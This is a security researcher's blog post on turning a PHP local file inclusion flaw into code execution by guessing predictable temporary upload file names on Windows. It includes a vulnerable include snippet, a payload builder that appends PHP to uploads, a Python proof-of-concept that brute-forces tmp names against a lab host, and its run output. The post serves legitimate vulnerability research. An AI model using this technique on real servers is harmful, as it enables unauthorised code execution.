Local file inclusion with tmp files

A thing I noticed while writing the Hera tool and doing all the tests, is that some server setups did not have very good randomness in their temporary files. This opens up for some interesting opportunities if you happen to have found a local file inclusion vulnerability in an application.

Imagine the following not very good code in an application

<?php include($_GET['file']); ?>

Looks bad, and I promise this is not that unusual and we find it from time to time during our reviews.

And here are some temporary files that were created in the WAMP test that I did while writing the article for Hera. Notice that the random string after the “php” prefix is rather short and should be easy to predict or brute force.

deterministicfiles

So to test this I modified Hera a bit, or more specifically the payload builder of the tool to include a piece of PHP code at the end of every file uploaded to a server.

.....
    //Build the body 
    for(int i = 0; i < numFiles; ++i)
    {
        body << "-----------------------------424199281147285211419178285\r\n";
        body << "Content-Disposition: form-data; name=\"" << gen_random(10) << "\"; filename=\"" << gen_random(10) << ".txt\"\r\n";
        body << "Content-Type: text/plain\r\n\r\n";

        for(int n = 0; n < (int)(fileSize*100000); ++n)
        {
            body << "aaaaaaaaa\n";
        }

        body << "<?='ThisShouldNotExist';?>\n";
    }
.....

Notice the “ThisShouldNotExist”. If the code gets executed that text will show up on the vulnerable page. Now we need another tool to constantly test including a set of temporary files that we think will show up eventually. I wrote a simple Python script for this.

from urllib import request, parse

def main():

    target = 'http://10.11.12.69/test.php?file=../tmp/'
    tmpFiles = ['php1.tmp', 'php1A00.tmp', 'php1A01.tmp', 'php1A1A.tmp', 'php1A1B.tmp', 'php1A.tmp', 'php1B.tmp']

    while True:
        for tmp in tmpFiles:
            if 'ThisShouldNotExist' in doRequest(target + tmp):
                print("Code executed")
                exit()


def doRequest(target):
    while True:
        try:
            req = request.Request(target)
            resp = request.urlopen(req)
            return resp.read().decode('UTF-8')
        except:
            pass

    return ''

if __name__ == '__main__':
    main()

And then we run the two tools, wait a little while and see the result. Notice how small the files are, to make the process quicker. We are not interested in sending a lot of data to the server this time. Of course this could all be optimized greatly, and right now the Hera tool will uploaded the set of files like normal. A more optimal solution would be to have Hera upload a set of files, then restart the attack so that a new set of tmp files would be created on the server. Thus raising the chance of our guessed tmp files to be created.

./hera 10.11.12.69 80 100 2 /index.php 0.001 20 0 0 40
~=Hera 0.8=~

[+][2016-10-28 17:23:17] Building payload
[+][2016-10-28 17:23:17] Starting threads

time python3 LocalExecPoC.py
Code executed

real 0m49.778s
user 0m5.528s
sys 0m0.828s

Now, this was on Windows. And the code for creating temporary files in mod_php is different depending on the operating system. The default function for Linux is more secure but could still be used as well (although this would take a lot more time). I will build a proof-of-concept for the Linux scenario as well, and update this article when it’s finished. But for now you will have to be satisfied with these results :-).

apachetmpfiles

As you can see in the image above the names are more random and also longer on Linux, making this a lot harder to guess the name of. The code below shows some Windows specific code related to the creation of the temporary file. The complete code can be found in the link below.

https://github.com/php/php-src/blob/6053987bc27e8dede37f437193a5cad448f99bce/main/php_open_temporary_file.c#L165

#ifdef PHP_WIN32
	cwdw = php_win32_ioutil_any_to_w(new_state.cwd);
	pfxw = php_win32_ioutil_any_to_w(pfx);
	if (!cwdw || !pfxw) {
		free(cwdw);
		free(pfxw);
		efree(new_state.cwd);
		return -1;
	}

if (GetTempFileNameW(cwdw, pfxw, 0, pathw)) {

Linux uses the mkstemp function to create its random strings for the file names. This is pretty secure but not fool proof. As mentioned earlier I will update this article when I have fixed test data for this scenario as well. More to come.

UPDATE – 161129: I’ve tried to contact the PHP security team about this (twice) and have not received a single response. I have therefore decided to just post this now and all future results relating to this issue.

I'm a Security consultant at TrueSec. I mostly deal with penetration testing and code reviews, but I also like to allocate time for different kinds of security research. Twitter - https://twitter.com/alcorsecurity

Tagged with: , , , ,
Posted in Hacking, Security

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Categories
%d bloggers like this: